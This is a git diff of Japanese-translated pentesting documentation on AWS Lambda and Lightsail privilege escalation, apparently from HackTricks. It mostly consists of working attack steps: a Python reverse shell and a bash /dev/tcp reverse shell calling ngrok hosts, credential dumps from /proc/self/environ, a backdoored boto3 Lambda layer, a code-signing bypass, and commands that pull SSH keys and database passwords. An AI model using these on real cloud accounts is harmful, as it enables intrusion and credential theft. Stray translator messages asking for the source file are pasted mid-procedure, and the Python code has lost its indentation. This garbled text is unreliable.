-> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** 単体では **`aws lambda invoke-async` を実行** することは**できません**。**`lambda:InvokeFunction`** も必要です。
-
-### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
-
-前のシナリオと同様に、**自分に `lambda:InvokeFunction` を付与する** ことができます（**`lambda:AddPermission`** の権限がある場合）。
-```bash
-# Check the previous exploit and use the following line to grant you the invoke permissions
-aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
---action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
-```
-**Potential Impact:** 指定された任意の Lambda service role への直接 privesc。
-
-### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
-
-`iam:PassRole`、`lambda:CreateFunction`、`lambda:CreateEventSourceMapping` の権限（場合によっては `dynamodb:PutItem` や `dynamodb:CreateTable` も）があるユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます。\
-彼らは悪意あるコードを含む **Lambda function を作成し、既存の IAM role を割り当てる** ことができます。
-
-Lambda を直接呼び出す代わりに、ユーザーは既存の DynamoDB テーブルを作成または利用し、それを event source mapping を通じて Lambda にリンクします。この構成により、テーブルに新しいアイテムが追加されると（ユーザーの操作または別のプロセスによって）、Lambda function が **テーブルへの新しいアイテム登録時に自動でトリガーされる** ようになり、結果として Lambda function が間接的に呼び出され、渡された IAM role の権限でコードが実行されます。
-```bash
-aws lambda create-function --function-name my_function \
---runtime python3.8 --role <arn_of_lambda_role> \
---handler lambda_function.lambda_handler \
---zip-file fileb://rev.zip
-```
-もしDynamoDBが既にAWS環境で有効になっている場合、ユーザーはLambda関数のために**イベントソースマッピングを設定するだけでよい**。しかし、DynamoDBが利用されていない場合は、ストリーミングを有効にした**新しいテーブルを作成する必要があります**：
-```bash
-aws dynamodb create-table --table-name my_table \
---attribute-definitions AttributeName=Test,AttributeType=S \
---key-schema AttributeName=Test,KeyType=HASH \
---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
---stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
-```
-これで、**Lambda function を DynamoDB table に接続する** には、**event source mapping を作成する** ことで可能です:
-```bash
-aws lambda create-event-source-mapping --function-name my_function \
---event-source-arn <arn_of_dynamodb_table_stream> \
---enabled --starting-position LATEST
-```
-Lambda functionがDynamoDB streamにリンクされている場合、攻撃者はDynamoDB streamを作動させることで**間接的にLambdaをトリガーすることができます**。これはDynamoDBテーブルに**アイテムを挿入する**ことで実行できます:
-```bash
-aws dynamodb put-item --table-name my_table \
---item Test={S="Random string"}
-```
-**Potential Impact:** 指定された lambda サービスロールへの直接的な privesc。
-
-### `lambda:AddPermission`
-
-この権限を持つ攻撃者は **自分自身（または他者）に任意の権限を付与できる**（これはリソースへのアクセスを付与するためのリソースベースポリシーを生成する）：
-```bash
-# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
-aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
-
-# Invoke the function
-aws lambda invoke --function-name <func_name> /tmp/outout
-```
-**潜在的な影響:** コードの変更と実行を許可する権限を付与することで、lambda のサービスロールに対する直接的な privesc を行える。
-
-### `lambda:AddLayerVersionPermission`
-
-この権限を持つ攻撃者は、**自分（または他者）に `lambda:GetLayerVersion` 権限を付与できる**。レイヤーにアクセスして脆弱性や機密情報を探すことが可能だ。
-```bash
-# Give everyone the permission lambda:GetLayerVersion
-aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
-```
-**Potential Impact:** 機密情報への潜在的なアクセス。
-
-### `lambda:UpdateFunctionCode`
-
-ユーザーが **`lambda:UpdateFunctionCode`** 権限を持っていると、IAM ロールに紐づいた既存の Lambda 関数のコードを**変更できる可能性があります。**\
-攻撃者は **Lambda のコードを変更して IAM 資格情報を窃取（exfiltrate）するように仕組むことができます。**
-
-攻撃者が関数を直接呼び出す権限を持っていない場合でも、Lambda 関数が既に存在して稼働しているなら、既存のワークフローやイベントによってトリガーされる可能性が高く、その結果変更したコードが間接的に実行されることがあります。
-```bash
-# The zip should contain the lambda code (trick: Download the current one and add your code there)
-aws lambda update-function-code --function-name target_function \
---zip-file fileb:///my/lambda/code/zipped.zip
-
-# If you have invoke permissions:
-aws lambda invoke --function-name my_function output.txt
-
-# If not check if it's exposed in any URL or via an API gateway you could access
-```
-**Potential Impact:** 使用されている lambda service role への直接 privesc
-
-### `lambda:UpdateFunctionConfiguration`
-
-#### RCE via env variables
-
-この権限があれば、環境変数を追加して Lambda が任意のコードを実行するようにできます。例えば python では環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることが可能です:
-```bash
-aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
-```
-他のスクリプト言語では、使用できる別の環境変数があります。詳細は、次のスクリプト言語の小節を参照してください：
-
-{{#ref}}
-https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
-{{#endref}}
-
-#### RCE via Lambda Layers
-
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) を使うと、lamdba 関数に **code** を含めることができますが、**別に格納する** ことで関数の **code** を小さく保て、**複数の関数でcodeを共有できる** ようになります。
-
-lambda 内では、次のような関数で python code が読み込まれるパスを確認できます：
-```python
-import json
-import sys
-
-def lambda_handler(event, context):
-print(json.dumps(sys.path, indent=2))
-```
-これらが対象のパスです:
-
-1. /var/task
-2. /opt/python/lib/python3.7/site-packages
-3. /opt/python
-4. /var/runtime
-5. /var/lang/lib/python37.zip
-6. /var/lang/lib/python3.7
-7. /var/lang/lib/python3.7/lib-dynload
-8. /var/lang/lib/python3.7/site-packages
-9. /opt/python/lib/python3.7/site-packages
-10. /opt/python
-
-For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
-
-#### Exploitation
-
-権限 `lambda:UpdateFunctionConfiguration` を悪用して、lambda 関数に **新しい layer を追加** することが可能です。任意のコードを実行するためには、この layer に lambda が import するような **ライブラリ** を含める必要があります。lambda のコードを読めるなら容易に見つけられます。また、lambda が **すでに layer を使用している** 可能性があり、その layer を **ダウンロード** してそこに **コードを追加** できることもあります。
-
-例えば、lambda がライブラリ boto3 を使用していると仮定すると、これはそのライブラリの最新バージョンを含むローカル layer を作成します:
-```bash
-pip3 install -t ./lambda_layer boto3
-```
-`./lambda_layer/boto3/__init__.py` を開き、**グローバルコードに backdoor を追加**できます（例: credentials を exfiltrate する関数や reverse shell を得る関数）。
-
-その後、`./lambda_layer` ディレクトリを zip にし、**新しい lambda layer を upload**して自分のアカウント（または被害者のアカウント、ただし権限がない可能性があります）に配置します。\
-注意: /opt/python/boto3 を override するために python フォルダを作成してライブラリをそこに置く必要があります。 また、layer は lambda が使用する **compatible with the python version** である必要があり、もし自分のアカウントに upload する場合は **same region:** に配置する必要があります:
-```bash
-aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
-```
-次に、アップロードした lambda layer を**任意のアカウントからでもアクセス可能に**します:
-```bash
-aws lambda add-layer-version-permission --layer-name boto3 \
---version-number 1 --statement-id public \
---action lambda:GetLayerVersion --principal *
-```
-そして、lambda layer を victim lambda function にアタッチする:
-```bash
-aws lambda update-function-configuration \
---function-name <func-name> \
---layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
---timeout 300 #5min for rev shells
-```
-次のステップは、可能であれば自分で **invoke the function** するか、通常の手段で **it gets invoked** されるのを待つことになります — 後者の方が安全な方法です。
-
-A **more stealth way to exploit this vulnerability** can be found in:
-
-{{#ref}}
-../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
-{{#endref}}
-
-**Potential Impact:** 直接的な privesc が使用されている lambda service role に対して行われます。
-
-### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
-
-おそらくこれらの権限があれば function を作成し、URL を呼び出して実行できるかもしれません…しかし私の方ではテスト方法を見つけられなかったので、見つけたら教えてください！
-
-### Lambda MitM
-
-一部の lambdas はパラメータでユーザから機密情報を **receiving sensitive info from the users in parameters.** もしそのうちの1つで RCE を得られれば、他のユーザがそこに送っている情報を exfiltrate できます。詳しくは次を確認してください:
-
-{{#ref}}
-../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
-{{#endref}}
-
-## 参考
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
-### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
-
-If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
-
-Permissions (one of):
-- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
-- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
-
-Notes:
-- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
-
-Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
-
-Prepare a small payload:
-```bash
-cat > handler.py <<'PY'
-import os, json
-def lambda_handler(event, context):
-return {"pwn": True, "env": list(os.environ)[:6]}
-PY
-zip backdoor.zip handler.py
-```
-パス A) CSC を削除してからコードを更新：
-```bash
-aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
-if [ "$HAS_CSC" -eq 1 ]; then
-aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
-fi
-aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
-# If the handler name changed, also run:
-aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
-```
-パス B) Warn にダウングレードしてコードを更新する (delete が許可されていない場合):
-```bash
-CSC_ARN=$(aws lambda create-code-signing-config \
---description ht-warn-csc \
---code-signing-policies UntrustedArtifactOnDeployment=WARN \
---query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
-aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
-aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
-# If the handler name changed, also run:
-aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
-```
-確認しました。以下のルールで翻訳を行います。
-
-- コード、ハッキング技術名、一般的なハッキング用語、クラウド/SaaSプラットフォーム名（例: Workspace、aws、gcp 等）、単語 "leak"、pentesting、リンク、Markdown/HTML タグ、ファイルパスは翻訳しません。  
-- {#ref} や {#include} 等のタグやリンク、パスはそのまま残します。  
-- 翻訳に余分な内容は追加しません。
-
-続けて翻訳するファイルの内容を送ってください。
-```bash
-aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
-cat /tmp/out.json
-```
-潜在的な影響: サイン済みデプロイを強制するはずの関数に対して、任意の署名されていないコードをプッシュおよび実行できる可能性があり、結果として関数ロールの権限でコードが実行される可能性があります。
-
-クリーンアップ:
-```bash
-aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
-```
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
new file mode 100644
index 000000000..8e3432755
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
@@ -0,0 +1,321 @@
+# AWS - Lambda Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## lambda
+
+More info about lambda in:
+
+{{#ref}}
+../../aws-services/aws-lambda-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
+
+**`iam:PassRole`, `lambda:CreateFunction`, `lambda:InvokeFunction`** の権限を持つユーザーは権限昇格が可能です。\
+新しい Lambda function を作成して既存の IAM role を割り当てることで、その role に紐づく権限を関数に付与できます。ユーザーはその Lambda function にコードを書き込みアップロードし（例: rev shell）、\
+関数が設定されると AWS API 経由で Lambda function を呼び出して実行させ、目的の操作を実行できます。この方法により、ユーザーは関連付けられた IAM role に与えられた権限レベルで、Lambda function を通じて間接的に操作を行えます。\\
+
+攻撃者はこれを悪用して **rev shell を取得し token を盗む**:
+```python:rev.py
+import socket,subprocess,os,time
+def lambda_handler(event, context):
+s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
+s.connect(('4.tcp.ngrok.io',14305))
+os.dup2(s.fileno(),0)
+os.dup2(s.fileno(),1)
+os.dup2(s.fileno(),2)
+p=subprocess.call(['/bin/sh','-i'])
+time.sleep(900)
+return 0
+```
+
+```bash
+# Zip the rev shell
+zip "rev.zip" "rev.py"
+
+# Create the function
+aws lambda create-function --function-name my_function \
+--runtime python3.9 --role <arn_of_lambda_role> \
+--handler rev.lambda_handler --zip-file fileb://rev.zip
+
+# Invoke the function
+aws lambda invoke --function-name my_function output.txt
+## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
+
+# List roles
+aws iam list-attached-user-policies --user-name <user-name>
+```
+また、lambda function 自身から **lambda role permissions を悪用する** こともできます。\
+lambda role に十分な権限があれば、それを使って自分に管理者権限を付与することができます:
+```python
+import boto3
+def lambda_handler(event, context):
+client = boto3.client('iam')
+response = client.attach_user_policy(
+UserName='my_username',
+PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
+)
+return response
+```
+外部接続を必要とせずに lambda's role credentials を leak することも可能です。
+
+これは内部タスクで使用される **Network isolated Lambdas** に対して有用です。
+
+不明な security groups があなたの reverse shells をフィルタしている場合、このコードは lambda の出力として credentials を直接 leak することを可能にします。
+```python
+def handler(event, context):
+sessiontoken = open('/proc/self/environ', "r").read()
+return {
+'statusCode': 200,
+'session': str(sessiontoken)
+}
+```
+
+```bash
+aws lambda invoke --function-name <lambda_name> output.txt
+cat output.txt
+```
+**Potential Impact:** 指定された任意の lambda サービスロールへの直接的な privesc。
+
+> [!CAUTION]
+> 一見興味深く見えても、**`lambda:InvokeAsync`** は単独では **`aws lambda invoke-async` を実行することを許可しません**。`lambda:InvokeFunction` も必要です
+
+### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
+
+前のシナリオと同様に、`lambda:AddPermission` の権限があれば、自分に **`lambda:InvokeFunction`** の権限を付与できます。
+```bash
+# Check the previous exploit and use the following line to grant you the invoke permissions
+aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
+--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
+```
+**潜在的影響:** 指定された任意の Lambda サービスロールへの直接的な privesc。
+
+### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
+
+`iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` の権限（および場合によっては `dynamodb:PutItem` や `dynamodb:CreateTable`）を持つユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます。\
+悪意あるコードを含む **Lambda function を作成し既存の IAM role を割り当てる** ことが可能です。
+
+Lambda を直接呼び出す代わりに、ユーザーは既存の DynamoDB テーブルを設定または利用し、それを event source mapping を通して Lambda に紐付けます。この構成により、テーブルに新しいアイテムが追加されると（ユーザーの操作か別プロセスによるかにかかわらず）Lambda function が **テーブルへの新しいアイテム登録時に自動的にトリガーされる** ようになり、結果として間接的に Lambda function が呼び出され、渡された IAM role の権限でコードが実行されます。
+```bash
+aws lambda create-function --function-name my_function \
+--runtime python3.8 --role <arn_of_lambda_role> \
+--handler lambda_function.lambda_handler \
+--zip-file fileb://rev.zip
+```
+DynamoDB が既に AWS 環境で有効になっている場合、ユーザーは Lambda 関数のために **イベントソースマッピングを確立するだけでよい**。しかし、DynamoDB が使用されていない場合、ユーザーは **ストリーミングを有効にした新しいテーブルを作成する必要がある**：
+```bash
+aws dynamodb create-table --table-name my_table \
+--attribute-definitions AttributeName=Test,AttributeType=S \
+--key-schema AttributeName=Test,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
+```
+これで**Lambda functionをDynamoDB tableに接続する**ために、**event source mappingを作成する**ことができます:
+```bash
+aws lambda create-event-source-mapping --function-name my_function \
+--event-source-arn <arn_of_dynamodb_table_stream> \
+--enabled --starting-position LATEST
+```
+Lambda 関数が DynamoDB stream にリンクされている場合、攻撃者は **DynamoDB stream を有効化して Lambda を間接的にトリガーする** ことができます。これは **DynamoDB table にアイテムを挿入する** ことで達成できます:
+```bash
+aws dynamodb put-item --table-name my_table \
+--item Test={S="Random string"}
+```
+**潜在的な影響:** 指定された lambda サービスロールへの直接的な privesc。
+
+### `lambda:AddPermission`
+
+この権限を持つ攻撃者は **自分自身（または他者）に任意の権限を付与することができる**（これはリソースへのアクセスを付与するためのリソースベースのポリシーを生成する）：
+```bash
+# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
+aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
+
+# Invoke the function
+aws lambda invoke --function-name <func_name> /tmp/outout
+```
+**潜在的影響:** コードを変更して実行する権限を付与することで、使用されている lambda の service role への直接的な privesc。
+
+### `lambda:AddLayerVersionPermission`
+
+この権限を持つ攻撃者は、**自分自身（または他者）に `lambda:GetLayerVersion` の権限を付与することができます**。レイヤーにアクセスし、脆弱性や機密情報を調査する可能性があります。
+```bash
+# Give everyone the permission lambda:GetLayerVersion
+aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
+```
+**Potential Impact:** 機密情報へのアクセスの可能性があります。
+
+### `lambda:UpdateFunctionCode`
+
+**`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAM ロールに紐付いた既存の Lambda 関数のコードを変更する可能性があります。**\
+攻撃者は **Lambda のコードを変更して IAM 資格情報を exfiltrate することができます。**
+
+攻撃者が関数を直接呼び出す権限を持っていない場合でも、Lambda 関数が既に存在して稼働している場合は、既存のワークフローやイベントによってトリガーされる可能性が高く、結果として変更されたコードの実行が間接的に可能になります。
+```bash
+# The zip should contain the lambda code (trick: Download the current one and add your code there)
+aws lambda update-function-code --function-name target_function \
+--zip-file fileb:///my/lambda/code/zipped.zip
+
+# If you have invoke permissions:
+aws lambda invoke --function-name my_function output.txt
+
+# If not check if it's exposed in any URL or via an API gateway you could access
+```
+**潜在的な影響:** 使用されている lambda サービスロールへの直接的な privesc。
+
+### `lambda:UpdateFunctionConfiguration`
+
+#### RCE via env variables
+
+この権限があれば、Lambda に任意のコードを実行させるような環境変数を追加することが可能です。例えば python では、環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることができます:
+```bash
+aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
+```
+他のスクリプト言語では使用できる別の env variables があります。詳しくは以下の scripting languages のサブセクションを参照してください：
+
+{{#ref}}
+https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
+{{#endref}}
+
+#### RCE via Lambda Layers
+
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、**code** を lamdba function に含められるようにしますが、**storing it separately** によって関数のコードを小さく保ち、**several functions can share code**。
+
+lambda 内では、python code が読み込まれるパスを以下のような関数で確認できます：
+```python
+import json
+import sys
+
+def lambda_handler(event, context):
+print(json.dumps(sys.path, indent=2))
+```
+These are the places:
+
+1. /var/task
+2. /opt/python/lib/python3.7/site-packages
+3. /opt/python
+4. /var/runtime
+5. /var/lang/lib/python37.zip
+6. /var/lang/lib/python3.7
+7. /var/lang/lib/python3.7/lib-dynload
+8. /var/lang/lib/python3.7/site-packages
+9. /opt/python/lib/python3.7/site-packages
+10. /opt/python
+
+For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
+
+#### Exploitation
+
+権限 `lambda:UpdateFunctionConfiguration` を悪用して、lambda 関数に **新しいレイヤーを追加する** ことが可能です。任意のコードを実行するために、このレイヤーには **lambda がインポートするライブラリ** が含まれている必要があります。lambda のコードを読めるなら、これを簡単に見つけられます。さらに、lambda が **すでにレイヤーを使用している** 場合があり、そのレイヤーを **ダウンロード** して **自分のコードを追加する** ことも可能です。
+
+For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
+```bash
+pip3 install -t ./lambda_layer boto3
+```
+`./lambda_layer/boto3/__init__.py` を開き、**global code に backdoor を追加**できます（例: 資格情報を exfiltrate する関数や reverse shell を取得する関数）。
+
+その後、`./lambda_layer` ディレクトリを zip 化して **新しい lambda layer を** 自分のアカウント（または被害者のアカウント）にアップロードします（被害者のアカウントに対する権限がない場合があります）。\
+/opt/python/boto3 を上書きするには python フォルダを作成してライブラリをそこに入れる必要があります。また、layer は Lambda が使用する **python version と互換性がある** 必要があり、自分のアカウントにアップロードする場合は **same region:** に配置する必要があります。
+```bash
+aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
+```
+では、アップロードした lambda layer を **任意のアカウントからアクセス可能に** します:
+```bash
+aws lambda add-layer-version-permission --layer-name boto3 \
+--version-number 1 --statement-id public \
+--action lambda:GetLayerVersion --principal *
+```
+そして、lambda layer を被害者の lambda function にアタッチします:
+```bash
+aws lambda update-function-configuration \
+--function-name <func-name> \
+--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
+--timeout 300 #5min for rev shells
+```
+次のステップは、可能であれば自分で**関数を呼び出す**か、通常の方法でi**呼び出されるのを待つ**ことです — こちらの方が安全な方法です。
+
+この脆弱性を**よりステルスに悪用する方法**は以下で確認できます:
+
+{{#ref}}
+../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+{{#endref}}
+
+**潜在的影響:** 使用されている lambda サービスロールへの直接的な privesc。
+
+### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
+
+これらの権限があれば関数を作成してURLを呼び出して実行できるかもしれません…しかし私の方ではテスト方法を見つけられなかったので、もし試せたら教えてください！
+
+### Lambda MitM
+
+一部の lambdas はパラメータでユーザーから**機密情報を受け取る**ことがあります。もしそのうちの一つで RCE を得られれば、他のユーザーが送っている情報を exfiltrate できます。詳細は次を参照してください:
+
+{{#ref}}
+../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+{{#endref}}
+
+## 参考
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Lambda Code Signing をバイパス
+
+もし Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これにより、関数の IAM ロールやトリガーを変更することなく整合性保護を回避できます。
+
+Permissions (one of):
+- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+
+Notes:
+- Path B の場合、CSC ポリシーが `WARN` に設定されていれば AWS Signer プロファイルは不要です（未署名のアーティファクトが許可されます）。
+
+Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
+
+Prepare a small payload:
+```bash
+cat > handler.py <<'PY'
+import os, json
+def lambda_handler(event, context):
+return {"pwn": True, "env": list(os.environ)[:6]}
+PY
+zip backdoor.zip handler.py
+```
+パス A) CSC を削除してからコードを更新:
+```bash
+aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
+if [ "$HAS_CSC" -eq 1 ]; then
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
+fi
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+パスB) Warn にダウングレードしてコードを更新する（削除が許可されていない場合）:
+```bash
+CSC_ARN=$(aws lambda create-code-signing-config \
+--description ht-warn-csc \
+--code-signing-policies UntrustedArtifactOnDeployment=WARN \
+--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
+aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+確認しましたが、翻訳するソース（README.md の内容）が提供されていません。該当ファイルのテキストを貼り付けてください。貼り付けていただければ、指定どおりマークダウン／HTML構文やリンク・コード・タグを保持したまま英→日翻訳します。
+```bash
+aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
+cat /tmp/out.json
+```
+潜在的な影響: signed deployments を強制することになっていた function に任意の unsigned code をプッシュして実行できる能力があり、結果として function role の permissions での code execution につながる可能性があります。
+
+クリーンアップ:
+```bash
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
deleted file mode 100644
index 7ddb9220d..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ /dev/null
@@ -1,136 +0,0 @@
-# AWS - Lightsail Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Lightsailに関する詳細情報は、以下を確認してください:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-> [!WARNING]
-> Lightsailは**ユーザーに属するIAMロールを使用しない**が、AWS管理アカウントに属するため、このサービスを利用して権限昇格を行うことはできません。しかし、**機密データ**（コード、APIキー、データベース情報など）がこのサービス内に存在する可能性があります。
-
-### `lightsail:DownloadDefaultKeyPair`
-
-この権限により、インスタンスにアクセスするためのSSHキーを取得できます:
-```
-aws lightsail download-default-key-pair
-```
-**潜在的な影響:** インスタンス内の機密情報を見つける。
-
-### `lightsail:GetInstanceAccessDetails`
-
-この権限を使用すると、インスタンスにアクセスするためのSSHキーを生成できます：
-```bash
-aws lightsail get-instance-access-details --instance-name <instance_name>
-```
-**潜在的な影響:** インスタンス内の機密情報を見つける。
-
-### `lightsail:CreateBucketAccessKey`
-
-この権限を使用すると、バケットにアクセスするためのキーを取得できます:
-```bash
-aws lightsail create-bucket-access-key --bucket-name <name>
-```
-**潜在的な影響:** バケット内の機密情報を見つける。
-
-### `lightsail:GetRelationalDatabaseMasterUserPassword`
-
-この権限により、データベースにアクセスするための資格情報を取得できます:
-```bash
-aws lightsail get-relational-database-master-user-password --relational-database-name <name>
-```
-**潜在的な影響:** データベース内の機密情報を見つける。
-
-### `lightsail:UpdateRelationalDatabase`
-
-この権限を使用すると、データベースにアクセスするためのパスワードを変更できます。
-```bash
-aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
-```
-データベースが公開されていない場合、これらの権限を使用して公開することもできます。
-```bash
-aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
-```
-**潜在的な影響:** データベース内の機密情報を見つける。
-
-### `lightsail:OpenInstancePublicPorts`
-
-この権限は、ポートをインターネットに開放することを許可します。
-```bash
-aws lightsail open-instance-public-ports \
---instance-name MEAN-2 \
---port-info fromPort=22,protocol=TCP,toPort=22
-```
-**潜在的な影響:** 機密ポートへのアクセス。
-
-### `lightsail:PutInstancePublicPorts`
-
-この権限は、ポートをインターネットに開放することを許可します。指定されていないポートは閉じられることに注意してください。
-```bash
-aws lightsail put-instance-public-ports \
